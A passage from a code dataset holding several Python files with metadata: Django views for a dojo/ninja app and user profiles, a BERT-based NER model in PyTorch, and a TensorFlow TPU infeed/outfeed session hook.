"program_lang": "python", "lang": "en", "doc_type": "code", "stars": 24, "dataset": "github-code", "pt": "71", "api": [{"api_name": "collections.namedtuple", "line_number": 20, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 22, "usage_type": "call"}, {"api_name": "struct.unpack_from", "line_number": 86, "usage_type": "call"}, {"api_name": "struct.calcsize", "line_number": 89, "usage_type": "call"}, {"api_name": "struct.unpack_from", "line_number": 94, "usage_type": "call"}, {"api_name": "struct.calcsize", "line_number": 97, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 204, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 210, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 218, "usage_type": "call"}, {"api_name": "struct.pack_into", "line_number": 270, "usage_type": "call"}, {"api_name": "struct.calcsize", "line_number": 271, "usage_type": "call"}, {"api_name": "struct.pack_into", "line_number": 332, "usage_type": "call"}, {"api_name": "struct.calcsize", "line_number": 333, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 340, "usage_type": "call"}, {"api_name": "argparse.RawDescriptionHelpFormatter", "line_number": 341, "usage_type": "attribute"}, {"api_name": "parser.add_argument", "line_number": 343, "usage_type": "call"}, {"api_name": "parser.add_argument", "line_number": 347, "usage_type": "call"}, {"api_name": "parser.add_argument", "line_number": 349, "usage_type": "call"}, {"api_name": "parser.add_argument", "line_number": 351, "usage_type": "call"}, {"api_name": "parser.parse_args", "line_number": 353, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 510, "usage_type": "call"}]} {"seq_id": "41887893638", "text": "from itertools import count\nfrom . import views\nfrom django.shortcuts import redirect, render\nfrom dojo_ninjas_app.models import dojos ,ninjas\n\ndef index(request):\n dojos_table = dojos.objects.all()\n ninjas_table = ninjas.objects.all()\n\n \n\n context= { \"ninjas\" : ninjas_table,\n \"dojos\" : dojos_table \n }\n return render(request,\"index.html\",context)\n\n\ndef add_dojo(request):\n if request.method==\"POST\":\n name = request.POST[\"name\"]\n city = request.POST[\"city\"]\n state = request.POST[\"state\"]\n dojos.objects.create(name=name,city=city,state=state)\n return redirect(\"/\")\n\n\n\ndef add_ninja(request):\n if request.method==\"POST\":\n dojo_selected = dojos.objects.get(id=request.POST[\"dojo_id\"])\n first_name = request.POST[\"first_name\"]\n last_name = request.POST[\"last_name\"]\n ninjas.objects.create(first_name=first_name,last_name=last_name,dojo_id=dojo_selected)\n return redirect(\"/\")\n\n\ndef delete_dojo(request):\n dojo_selected=dojos.objects.get(id=request.POST[\"del\"])\n dojo_selected.delete()\n return redirect(\"/\")\n\n \n \n\n\n\n\n \n\n \n\n", "repo_name": "ReemAllharbi/PYTHON", "sub_path": "dojo_ninjas_proj/dojo_ninjas_app/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1107, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "dojo_ninjas_app.models.dojos.objects.all", "line_number": 7, "usage_type": "call"}, {"api_name": "dojo_ninjas_app.models.dojos.objects", "line_number": 7, "usage_type": "attribute"}, {"api_name": "dojo_ninjas_app.models.dojos", "line_number": 7, "usage_type": "name"}, {"api_name": "dojo_ninjas_app.models.ninjas.objects.all", "line_number": 8, "usage_type": "call"}, {"api_name": "dojo_ninjas_app.models.ninjas.objects", "line_number": 8, "usage_type": "attribute"}, {"api_name": "dojo_ninjas_app.models.ninjas", "line_number": 8, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 15, "usage_type": "call"}, {"api_name": "dojo_ninjas_app.models.dojos.objects.create", "line_number": 23, "usage_type": "call"}, {"api_name": "dojo_ninjas_app.models.dojos.objects", "line_number": 23, "usage_type": "attribute"}, {"api_name": "dojo_ninjas_app.models.dojos", "line_number": 23, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 24, "usage_type": "call"}, {"api_name": "dojo_ninjas_app.models.dojos.objects.get", "line_number": 30, "usage_type": "call"}, {"api_name": "dojo_ninjas_app.models.dojos.objects", "line_number": 30, "usage_type": "attribute"}, {"api_name": "dojo_ninjas_app.models.dojos", "line_number": 30, "usage_type": "name"}, {"api_name": "dojo_ninjas_app.models.ninjas.objects.create", "line_number": 33, "usage_type": "call"}, {"api_name": "dojo_ninjas_app.models.ninjas.objects", "line_number": 33, "usage_type": "attribute"}, {"api_name": "dojo_ninjas_app.models.ninjas", "line_number": 33, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 34, "usage_type": "call"}, {"api_name": "dojo_ninjas_app.models.dojos.objects.get", "line_number": 38, "usage_type": "call"}, {"api_name": "dojo_ninjas_app.models.dojos.objects", "line_number": 38, "usage_type": "attribute"}, {"api_name": "dojo_ninjas_app.models.dojos", "line_number": 38, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 40, "usage_type": "call"}]} {"seq_id": "27936776230", "text": "from django.shortcuts import render,redirect\nfrom django.contrib import messages\n# DELETED -->from django.contrib.auth.forms import UserCreationForm\nfrom .forms import UserRegisterForm, UserUpdateForm, ProfileUpdateForm\nfrom django.contrib.auth.decorators import login_required\n# importing Model forms\ti.e UserUpdateForm, ProfileUpdateForm above\n\n\n# Create your views here.\ndef register(request):\n\tif request.method == 'POST':\n\t\tform = UserRegisterForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tform.save()\n\t\t\tusername = form.cleaned_data.get('username')\n\t\t\tmessages.success(request,f'Your account has been created! You are now able to log in')\n\t\t\treturn redirect('login')\n\telse:\n\t\tform = UserRegisterForm()\n\treturn render(request, 'users/register.html',{'form':form})\n\n@login_required\ndef profile(request):\n\tif request.method == 'POST':\n\t\tu_form = UserUpdateForm(request.POST, instance=request.user)\n\t\tp_form = ProfileUpdateForm(request.POST, \n\t\t\t\t\t\t\t\t\trequest.FILES,\n\t\t\t\t\t\t\t\t \tinstance=request.user.profile)\n\t\tif u_form.is_valid() and p_form.is_valid():\n\t\t\tu_form.save()\n\t\t\tp_form.save()\n\t\t\tmessages.success(request,f'Your account has been updated!')\n\t\t\treturn redirect('profile')\n\t\t\t# we are returning here because of \"POST GET REDIRECT PATTERN\"\n\t\t\t# sometimes we have seen, after submitting a form if we reload\n\t\t\t# it gives a warning like \" are you sure u want to resubmit the form because the form will be resubmitted\"\n\t\t\t# This means the browser is telling you that it is going to make another POST REQUEST\n\t\t\t# when you reload the page\n\t\t\t# SO here with [redirect('profile')] request we are making a GET REQUEST\n\t\t\t# and we will not get that weired message\n\telse:\n\t\tu_form = UserUpdateForm(instance=request.user)\n\t\tp_form = ProfileUpdateForm(instance=request.user.profile)\n\n\t#we need to pass these forms in template so we need context\n\t# context is a dictionary\n\tcontext = {\n\t\t'u_form': u_form,\n\t\t'p_form': p_form\n\t}\n\n\treturn render(request,'users/profile.html', context)\n", "repo_name": "rajdeepp26/Tech-blog-app", "sub_path": "users/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1978, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "forms.UserRegisterForm", "line_number": 12, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 16, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 16, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 17, "usage_type": "call"}, {"api_name": "forms.UserRegisterForm", "line_number": 19, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 20, "usage_type": "call"}, {"api_name": "forms.UserUpdateForm", "line_number": 25, "usage_type": "call"}, {"api_name": "forms.ProfileUpdateForm", "line_number": 26, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 32, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 32, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 33, "usage_type": "call"}, {"api_name": "forms.UserUpdateForm", "line_number": 42, "usage_type": "call"}, {"api_name": "forms.ProfileUpdateForm", "line_number": 43, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 52, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 22, "usage_type": "name"}]} {"seq_id": "3105690289", "text": "# -*- coding: utf8 -*-\n\"\"\"\n======================================\n Project Name: RE-For-NER\n File Name: model\n Author: czh\n Create Date: 2021/3/23\n--------------------------------------\n Change Activity: \n======================================\n\"\"\"\n# 将ner问题建模为关系抽取问题，已知subject_entity和relation，预测object entity。\n# 一个subject对应多个object。\n\n\nimport torch\nimport torch.nn as nn\nfrom torch.nn import CrossEntropyLoss, BCELoss\nfrom transformers import BertModel, BertPreTrainedModel\n\nfrom ReNER.layers.linear import PoolerStartLogits, PoolerEndLogits, PoolerEndLogitsOnStart\nfrom ReNER.losses.focal_loss import FocalLoss\nfrom ReNER.losses.label_smoothing import LabelSmoothingCrossEntropy\n\n\nclass Dense(nn.Module):\n \"\"\"\n dense层\n \"\"\"\n\n def __init__(self, input_size, out_size, activation=\"relu\", dropout_rate=0.5):\n super(Dense, self).__init__()\n self.linear_layer = nn.Linear(input_size, out_size)\n self.dropout = nn.Dropout(dropout_rate)\n if activation == \"sigmoid\":\n self.active_layer = nn.Sigmoid()\n else:\n self.active_layer = nn.ReLU()\n\n def forward(self, input_tensor):\n linear_result = self.linear_layer(input_tensor)\n return self.active_layer(linear_result)\n\n\nclass MyModel(BertPreTrainedModel):\n def __init__(self, config, args, hidden_size=768):\n super(MyModel, self).__init__(config)\n self.soft_label = args.soft_label\n self.hidden_size = hidden_size\n self.num_labels = 1\n self.bert = BertModel(config)\n self.o_start_fc = PoolerStartLogits(self.hidden_size, self.num_labels)\n\n # 预测o_end时是否考虑o_start的预测结果\n if self.soft_label:\n self.o_end_fc = PoolerEndLogitsOnStart(self.hidden_size+self.num_labels, self.num_labels)\n else:\n self.o_end_fc = PoolerEndLogits(self.hidden_size, self.num_labels)\n self.pred_obj_heads = Dense(self.hidden_size, self.num_labels, activation='sigmoid',\n dropout_rate=args.dropout_rate)\n self.pred_obj_tails = Dense(self.hidden_size, self.num_labels, activation='sigmoid',\n dropout_rate=args.dropout_rate)\n self.drop_out = nn.Dropout(0.5)\n self.activation = nn.Sigmoid()\n\n # self.classifier = Classifier(self.hidden_size, use_deep=args.deep)\n\n self.loss_type = args.loss_type\n if self.loss_type == 'lsr':\n self.loss_func = LabelSmoothingCrossEntropy()\n # self.loss_func = LabelSmoothing()\n elif self.loss_type == 'foc':\n self.loss_func = FocalLoss()\n elif self.loss_type == 'ce':\n self.loss_func = CrossEntropyLoss()\n elif self.loss_type == 'bce':\n self.loss_func = BCELoss()\n else:\n raise ValueError('loss type must be [ce, foc, lsr]')\n\n self.init_weights()\n\n @staticmethod\n def seg_gather(x, idxs):\n batch_size, seq_len, hidden_size = x.size()\n assert list(idxs.size()) == [batch_size, 2]\n\n s_embed = []\n for batch_id in range(batch_size):\n idx = idxs[batch_id]\n start = idx[0].item()\n end = idx[1].item()\n embed = x[batch_id, start: end+1, :]\n s_embed.append(torch.mean(embed, dim=0).unsqueeze(0))\n s_embed = torch.cat(s_embed).to(x.device)\n return s_embed\n\n def cal_loss(self, pred, gold, mask):\n pred = pred.to(torch.float)\n gold = gold.to(torch.float)\n loss = self.loss_func(pred, gold)\n if loss.shape != mask.shape:\n mask = mask.unsqueeze(-1)\n loss = torch.sum(loss * mask) / torch.sum(mask)\n return loss\n\n def forward(self, input_ids, input_mask, s_index, o_start=None, o_end=None, token_type_ids=None):\n \"\"\"\n :param input_ids: [batch_size, max_seq_len]\n :param s_index: [batch_size, max_seq_len]\n :param o_start: [batch_size, max_seq_len, 1]\n :param o_end: [batch_size, max_seq_len, 1]\n :param input_mask: [batch_size, max_seq_len] the real length of sequences\n :param token_type_ids: [batch_size, max_seq_len]\n :return:\n \"\"\"\n out = self.bert(input_ids=input_ids, token_type_ids=token_type_ids)\n seq_out = out[0] # [batch_size, max_seq_len, hidden_dim]\n # s_embed = self.seg_gather(seq_out, s_index) # [batch_size, hidden_size]\n if s_index.shape != seq_out.shape:\n s_index = s_index.unsqueeze(-1)\n s_embed = torch.mean(torch.mul(s_index, seq_out), dim=1, keepdim=True)\n # s_feature = s_embed.unsqueeze(1)\n token_features = seq_out + s_embed\n o_start_logits = self.pred_obj_heads(token_features)\n o_end_logits = self.pred_obj_tails(token_features)\n\n if o_start is None and o_end is None:\n return o_start_logits, o_end_logits\n\n obj_start_loss = self.cal_loss(o_start_logits, o_start, input_mask)\n obj_end_loss = self.cal_loss(o_end_logits, o_end, input_mask)\n total_loss = obj_start_loss + obj_end_loss\n return total_loss, o_start_logits, o_end_logits\n", "repo_name": "zhihao-chen/re_for_ner", "sub_path": "ReNER/models/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 5222, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.nn.Module", "line_number": 26, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 26, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 33, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 34, "usage_type": "name"}, {"api_name": "torch.nn.Sigmoid", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 38, "usage_type": "name"}, {"api_name": "transformers.BertPreTrainedModel", "line_number": 45, "usage_type": "name"}, {"api_name": "transformers.BertModel", "line_number": 51, "usage_type": "call"}, {"api_name": "ReNER.layers.linear.PoolerStartLogits", "line_number": 52, "usage_type": "call"}, {"api_name": "ReNER.layers.linear.PoolerEndLogitsOnStart", "line_number": 56, "usage_type": "call"}, {"api_name": "ReNER.layers.linear.PoolerEndLogits", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.nn.Dropout", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 63, "usage_type": "name"}, {"api_name": "torch.nn.Sigmoid", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 64, "usage_type": "name"}, {"api_name": "ReNER.losses.label_smoothing.LabelSmoothingCrossEntropy", "line_number": 70, "usage_type": "call"}, {"api_name": "ReNER.losses.focal_loss.FocalLoss", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.nn.BCELoss", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 95, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 99, "usage_type": "attribute"}, {"api_name": "torch.float", "line_number": 100, "usage_type": "attribute"}, {"api_name": "torch.sum", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 122, "usage_type": "call"}, {"api_name": "torch.mul", "line_number": 122, "usage_type": "call"}]} {"seq_id": "7525161322", "text": "from __future__ import division\nfrom __future__ import print_function\n\nimport threading\nimport time\nimport os\nfrom six.moves import queue as Queue # pylint: disable=redefined-builtin\nfrom six.moves import xrange # pylint: disable=redefined-builtin\n\nimport tensorflow.compat.v1 as tf\nfrom tensorflow.core.protobuf import config_pb2\nfrom tensorflow.core.protobuf.tpu import compilation_result_pb2 as tpu_compilation_result\nfrom tensorflow.python.ops import summary_ops_v2 as contrib_summary\n\n_USER_PROVIDED_SIGNAL_NAME = \"_user_provided_signal_name\"\n_TPU_ESTIMATOR = 'tpu_estimator'\n_ITERATIONS_PER_LOOP_VAR = 'iterations_per_loop'\n\n\nclass PeriodicLogger(object):\n\n def __init__(self, seconds):\n self._log_every_n_seconds = seconds\n self._last_log_time = 0\n\n def log(self, msg, *args, **kw):\n if time.time() - self._last_log_time > self._log_every_n_seconds:\n self._last_log_time = time.time()\n tf.compat.v1.logging.info(msg, *args, **kw)\n\n\nclass _SIGNAL(object):\n \"\"\"Signal used to control the thread of infeed/outfeed.\n\n All preserved signals must be negative numbers. Positive numbers are used to\n indicate the number of iterations for next training/evaluation loop.\n \"\"\"\n NEXT_BATCH = -1\n STOP = -2\n\n\nclass _OpQueueContext(object):\n \"\"\"Manages work queue and thread for a infeed/outfeed thread.\"\"\"\n\n def __init__(self, name, target, args):\n self._name = name\n self._queue = Queue.Queue()\n args = (self,) + args\n self._thread = threading.Thread(name=name, target=target, args=args)\n self._thread.daemon = True\n self._thread.start()\n\n def stop(self):\n self._queue.put(_SIGNAL.STOP)\n\n def send_next_batch_signal(self, iterations):\n self._queue.put(iterations)\n\n def read_iteration_counts(self):\n while True:\n iterations = self._queue.get(block=True)\n tf.compat.v1.logging.debug('%s read iterations %s', self._name,\n iterations)\n if iterations == _SIGNAL.STOP:\n tf.compat.v1.logging.info('%s received shutdown signal, stopping.',\n self._name)\n return\n yield iterations\n\n def join(self):\n tf.compat.v1.logging.info('Shutting down %s thread.', self._name)\n self.stop()\n self._thread.join()\n\n\nclass _OpSignalOnceQueueContext(_OpQueueContext):\n \"\"\"Manages work queue and thread for a infeed/outfeed thread.\n\n This subclass only signals once.\n \"\"\"\n\n def __init__(self, name, target, args):\n super(_OpSignalOnceQueueContext, self).__init__(name, target, args)\n self._has_signaled = False\n\n def send_next_batch_signal(self, iterations):\n if not self._has_signaled:\n self._queue.put(iterations)\n self._has_signaled = True\n\n\nclass TPUInfeedOutfeedSessionWithEndOfStreamHandlingHook(\n tf.estimator.SessionRunHook):\n \"\"\"A Session hook setting up the TPU initialization, infeed, and outfeed.\n\n This hook does two major things:\n 1. initialize and shutdown TPU system.\n 2. launch and join the threads for infeed enqueue and (optional) outfeed\n dequeue.\n \"\"\"\n\n def __init__(self,\n ctx,\n enqueue_ops,\n dequeue_ops,\n tpu_compile_op,\n run_infeed_loop_on_coordinator=True,\n rendezvous=None,\n master=None,\n session_config=None,\n tpu_init_ops=None,\n outfeed_every_n_steps=1):\n self._master_job = ctx.master_job\n self._enqueue_ops = enqueue_ops\n self._dequeue_ops = dequeue_ops\n self._rendezvous = rendezvous\n self._master = master\n self._session_config = session_config\n self._init_ops = list(tpu_init_ops or [])\n if ctx.embedding_config is None:\n self._embedding_layer_config = None\n else:\n self._embedding_layer_config = (\n ctx.embedding_config.tpu_embedding.config_proto)\n self._run_infeed_loop_on_coordinator = run_infeed_loop_on_coordinator\n self._initial_infeed_sleep_secs = (\n ctx.config.tpu_config.initial_infeed_sleep_secs)\n self._tpu_compile_op = tpu_compile_op\n\n # When using model parallelism, the TPU is pre-initialized at startup to\n # fetch mesh information. We skip re-initializing it here for\n # MeshTensorFlow since it places variables on TPU directly. Reinitialize tpu\n # is causing the variable corruption since the previous allocated memory\n # might be overwritten for other purpose.\n if (ctx.model_parallelism_enabled and\n (ctx.config.tpu_config.per_host_input_for_training is\n tpu_config.InputPipelineConfig.BROADCAST)):\n self._should_initialize_tpu = False\n else:\n self._should_initialize_tpu = True\n self._outfeed_every_n_steps = outfeed_every_n_steps\n\n self.stopping_signal = False\n\n def _create_or_get_iterations_per_loop(self):\n \"\"\"Creates or gets the iterations_per_loop variable.\n\n In TPUEstimator, the user provided computation, the model_fn, is wrapped\n inside a tf.while_loop for peak performance. The iterations of the loop are\n specified by this variable, which adjusts its value on the CPU after each TPU\n program execution and before the next TPU execution.\n\n The purpose of using a variable, rather then a constant, is to allow\n TPUEstimator adapt the TPU training iterations according to the final steps\n specified by users. For example, if the user sets the iterations_per_loop as 4\n in TPUConfig and steps as 10 in TPUEstimator.train(), the iterations_per_loop\n variable will have the following value before each TPU training.\n\n - 1-th TPU execution: iterations_per_loop = 4\n - 2-th TPU execution: iterations_per_loop = 4\n - 3-th TPU execution: iterations_per_loop = 2\n\n As model_fn increases the global step once per train_op invocation, the global\n step is 10 after all TPU executions, matching the steps=10 inputs passed in by\n users.\n\n Returns:\n A TF non-trainable resource variable.\n\n Raises:\n RuntimeError: If multi iterations_per_loop variables were found.\n \"\"\"\n graph = tf.compat.v1.get_default_graph()\n collection_name = '{}_{}'.format(_TPU_ESTIMATOR, _ITERATIONS_PER_LOOP_VAR)\n iter_vars = graph.get_collection(collection_name)\n if len(iter_vars) == 1:\n return iter_vars[0]\n elif len(iter_vars) > 1:\n raise RuntimeError('Multiple iterations_per_loop_var in collection.')\n\n with ops.colocate_with(tf.compat.v1.train.get_global_step()):\n with tf.compat.v1.variable_scope(_TPU_ESTIMATOR,\n reuse=tf.compat.v1.AUTO_REUSE):\n return tf.compat.v1.get_variable(\n _ITERATIONS_PER_LOOP_VAR,\n initializer=tf.compat.v1.initializers.zeros(),\n shape=[],\n dtype=tf.dtypes.int32,\n trainable=False,\n collections=[\n collection_name, tf.compat.v1.GraphKeys.LOCAL_VARIABLES\n ],\n use_resource=True)\n\n def begin(self):\n tf.compat.v1.logging.info('TPU job name %s', self._master_job)\n self._iterations_per_loop_var = self._create_or_get_iterations_per_loop()\n if self._should_initialize_tpu:\n self._finalize_ops = [\n tf.compat.v1.tpu.shutdown_system(job=self._master_job)\n ]\n else:\n self._finalize_ops = []\n\n summary_writer_init_ops = contrib_summary.summary_writer_initializer_op()\n self._init_ops.extend(summary_writer_init_ops)\n # Get all the writer resources from the initializer, so we know what to\n # flush.\n for op in summary_writer_init_ops:\n self._finalize_ops.append(contrib_summary.flush(writer=op.inputs[0]))\n\n def _run_infeed(self, queue_ctx, session):\n tf.compat.v1.logging.info('Starting infeed thread controller.')\n if self._initial_infeed_sleep_secs:\n tf.compat.v1.logging.info('Infeed thread sleeping for %d seconds.',\n self._initial_infeed_sleep_secs)\n time.sleep(self._initial_infeed_sleep_secs)\n tf.compat.v1.logging.info('Infeed thread starting after sleep')\n\n with self._rendezvous.catch_errors(source='infeed', session=session):\n if self._run_infeed_loop_on_coordinator:\n for count, steps in enumerate(queue_ctx.read_iteration_counts()):\n for i in xrange(steps):\n tf.compat.v1.logging.debug('Infeed enqueue for iteration (%d, %d)',\n count, i)\n session.run(self._enqueue_ops)\n else:\n for _ in queue_ctx.read_iteration_counts():\n session.run(self._enqueue_ops)\n tf.compat.v1.logging.info('Infeed thread finished, shutting down.')\n\n def _run_outfeed(self, queue_ctx, session):\n tf.compat.v1.logging.info('Starting outfeed thread controller.')\n status_logger = PeriodicLogger(seconds=60)\n with self._rendezvous.catch_errors(source='outfeed', session=session):\n stopping_signals = False\n for count, steps in enumerate(queue_ctx.read_iteration_counts()):\n step_counter = 0\n for i in xrange(steps):\n tf.compat.v1.logging.debug('Outfeed dequeue for iteration (%d, %d)',\n count, i)\n if step_counter % self._outfeed_every_n_steps == 0:\n ret = session.run(self._dequeue_ops)\n if _USER_PROVIDED_SIGNAL_NAME in ret:\n if 'stopping' not in ret[_USER_PROVIDED_SIGNAL_NAME]:\n raise RuntimeError('ret[{}] must contain key \\'stopping\\'.'\n ).format(_USER_PROVIDED_SIGNAL_NAME)\n if ret[_USER_PROVIDED_SIGNAL_NAME]['stopping'][0] == True \\\n and stopping_signals == False:\n stopping_signals = True\n tf.compat.v1.logging.info(\n 'Encountered stop signal at iteration (%d, %d).', count, i)\n step_counter += 1\n status_logger.log('Outfeed finished for iteration (%d, %d)', count, i)\n if stopping_signals == True:\n tf.compat.v1.logging.info(\n 'Set shared stop signal at iteration (%d, %d).', count, i)\n self.stopping_signal = True\n tf.compat.v1.logging.info('Outfeed thread finished, shutting down.')\n\n def _create_infeed_controller(self, name, target, args):\n return _OpQueueContext(name=name, target=target, args=args)\n\n def _assertCompilationSucceeded(self, result, coord):\n proto = tpu_compilation_result.CompilationResultProto()\n proto.ParseFromString(result)\n if proto.status_error_message:\n tf.compat.v1.logging.error('Compilation failed: {}'.format(\n proto.status_error_message))\n coord.request_stop()\n else:\n tf.compat.v1.logging.info('Compilation succeeded')\n\n def after_create_session(self, session, coord):\n if self._should_initialize_tpu:\n tf.compat.v1.logging.info('Init TPU system')\n start = time.time()\n with tf.Graph().as_default():\n with tf.compat.v1.Session(self._master,\n config=self._session_config) as sess:\n sess.run(\n tf.compat.v1.tpu.initialize_system(\n job=self._master_job,\n embedding_config=self._embedding_layer_config))\n tf.compat.v1.logging.info('Initialized TPU in %d seconds',\n time.time() - start)\n\n session.run(self._init_ops,\n options=config_pb2.RunOptions(timeout_in_ms=30 * 60 * 1000))\n\n if os.environ.get('TPU_SPLIT_COMPILE_AND_EXECUTE', '') == '1':\n tf.compat.v1.logging.info(\n 'Compiling user program: this may take a while...')\n self._assertCompilationSucceeded(session.run(self._tpu_compile_op), coord)\n\n self._infeed_controller = self._create_infeed_controller(\n name='InfeedController', target=self._run_infeed, args=(session,))\n\n self._outfeed_controller = _OpQueueContext(name='OutfeedController',\n target=self._run_outfeed,\n args=(session,))\n\n # Enable the worker watchdog to terminate workers on coordinator exit.\n watchdog_timeout = int(os.environ.get('TF_TPU_WATCHDOG_TIMEOUT', '0'))\n if watchdog_timeout > 0:\n session_support.start_worker_watchdog(session,\n shutdown_timeout=watchdog_timeout)\n\n def before_run(self, run_context):\n if self.stopping_signal == True:\n tf.compat.v1.logging.info(\n 'Throw OutOfRangeError error due to encountering stopping signal in before_run.'\n )\n raise tf.errors.OutOfRangeError(None, None, 'Stopped by stopping signal.')\n\n iterations = run_context.session.run(self._iterations_per_loop_var)\n\n tf.compat.v1.logging.info('Enqueue next (%d) batch(es) of data to infeed.',\n iterations)\n self._infeed_controller.send_next_batch_signal(iterations)\n\n tf.compat.v1.logging.info(\n 'Dequeue next (%d) batch(es) of data from outfeed.', iterations)\n self._outfeed_controller.send_next_batch_signal(iterations)\n\n def end(self, session):\n tf.compat.v1.logging.info('Stop infeed thread controller')\n self._infeed_controller.join()\n self._rendezvous.record_done('infeed')\n\n tf.compat.v1.logging.info('Stop output thread controller')\n self._outfeed_controller.join()\n self._rendezvous.record_done('outfeed')\n\n tf.compat.v1.logging.info('Shutdown TPU system.')\n session.run(self._finalize_ops)\n\n @staticmethod\n def get_stopping_signals_and_name(features):\n stopping_signals = None\n if _USER_PROVIDED_SIGNAL_NAME in features:\n tf.compat.v1.logging.info(\"Get stopping signals and name.\")\n sum_stopping_signals = tf.compat.v1.tpu.cross_replica_sum(\n tf.cast(features[_USER_PROVIDED_SIGNAL_NAME], tf.int32))\n stopping_signals = {'stopping': sum_stopping_signals > 0}\n\n return stopping_signals, _USER_PROVIDED_SIGNAL_NAME\n", "repo_name": "bytedance/monolith", "sub_path": "monolith/core/auto_checkpoint_feed_hook.py", "file_name": "auto_checkpoint_feed_hook.py", "file_ext": "py", "file_size_in_byte": 13866, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 702, "dataset": "github-code", "pt": "71", "api": [{"api_name": "time.time", "line_number": 27, "usage_type": "call"}, {"api_name": "time.time", "line_number": 28, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.info", "line_number": 29, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 29, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 29, "usage_type": "name"}, {"api_name": "six.moves.queue.Queue", "line_number": 47, "usage_type": "call"}, {"api_name": "six.moves.queue", "line_number": 47, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 49, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.debug", "line_number": 62, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 62, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 62, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.info", "line_number": 65, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 65, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 65, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.info", "line_number": 71, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 71, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 71, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.estimator", "line_number": 93, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 93, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.get_default_graph", "line_number": 173, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 173, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 173, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.train.get_global_step", "line_number": 181, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 181, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 181, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.variable_scope", "line_number": 182, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 182, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 182, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 183, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 183, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.get_variable", "line_number": 184, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 184, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 184, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.initializers.zeros", "line_number": 186, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 186, "usage_type": "attribute"}, 